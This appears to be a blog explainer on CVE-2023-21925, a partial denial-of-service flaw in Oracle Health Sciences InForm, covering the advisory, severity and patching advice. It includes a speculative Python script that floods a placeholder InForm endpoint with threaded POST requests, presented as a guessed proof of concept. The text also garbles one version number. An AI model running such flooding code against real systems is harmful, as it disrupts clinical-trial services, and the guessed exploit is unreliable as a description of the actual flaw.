CVE-2023-21925 - Easily Exploitable Vulnerability in Oracle Health Sciences InForm (Core)

CVE-2023-21925 is a newly identified security flaw discovered in Oracle Health Sciences InForm, a key electronic data capture solution used widely in clinical trials. This vulnerability stems from the application’s “Core” component and affects all supported versions prior to 6.3.1.3 and 7...1. Let’s break down exactly what this means, how an attacker could take advantage, and what you can do to protect your systems.

What Exactly Is CVE-2023-21925?

According to Oracle’s advisory, this is an easily exploitable vulnerability. Here are the main points:

Attack Vector: Over the network, using HTTP (no authentication needed)

- Consequence: Unauthorized attacker can create a *partial denial of service* (DOS), making the application partially unavailable or degraded

Severity: CVSS 3.1 Score 5.3 (Impact is on availability, not confidentiality or integrity)

> *CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L*

Full advisory:
- Oracle Critical Patch Update Advisory - April 2023

Understanding the Exploit Scenario

Who can attack?
Anyone with access to the network where InForm is available – including internet if exposed, or internal networks – can attempt to exploit this bug. No password or prior access required.

What can happen?
A successful exploitation can bog down or partially crash the InForm web application, disrupting clinical monitoring and data collection. No data leakage, and no change or insertion of data, but legitimate users may experience timeouts or failures.

Example Proof-of-Concept Exploit (Simplified)

Oracle doesn’t disclose attack details, but based on the description ("HTTP access," "partial DOS"), it appears to be a resource exhaustion – possibly a specific HTTP request to the InForm Core service that triggers high CPU or memory consumption.

Below is a hypothetical exploit demonstration using Python. This is for educational purposes and should never be used against real or production systems.

import requests
from threading import Thread

# Replace with the actual vulnerable InForm server address
TARGET_URL = 'http://vulnerable-inform.example.com/CoreServlet';

# Hypothetical payload causing resource exhaustion or partial DOS
data = {'malicious': 'payload' * 100} # Simulate large/unexpected payload

def dos_attack():
    while True:
        try:
            requests.post(TARGET_URL, data=data)
        except Exception as e:
            print(f'Error: {e}')

# Launch multiple threads to simulate the exploit
for _ in range(50):  # Adjust number of threads as needed
    Thread(target=dos_attack).start()

Note:
- Real exploit conditions may require a different payload or endpoint based on reverse engineering or attacker discovery.
- The actual InForm Core application likely crashes or becomes sluggish after receiving a high volume or specific crafted request.

Monitor application logs for unusual spikes of requests or resource usage

References:
- Oracle CPU - April 2023, CVE-2023-21925
- NVD CVE-2023-21925

Exploits can be script-based and automated, leveraging the HTTP interface.

- Real-world impact is service disruption — not data breach, but service downtime/slowdown.

Patch ASAP to avoid clinical research interruption.

If you run Oracle Health Sciences InForm and haven’t checked your version or applied patches, now is the time. For more technical detail, contact Oracle or consult their security update link above.

Timeline

Published on: 04/18/2023 20:15:00 UTC
Last modified on: 04/18/2023 20:37:00 UTC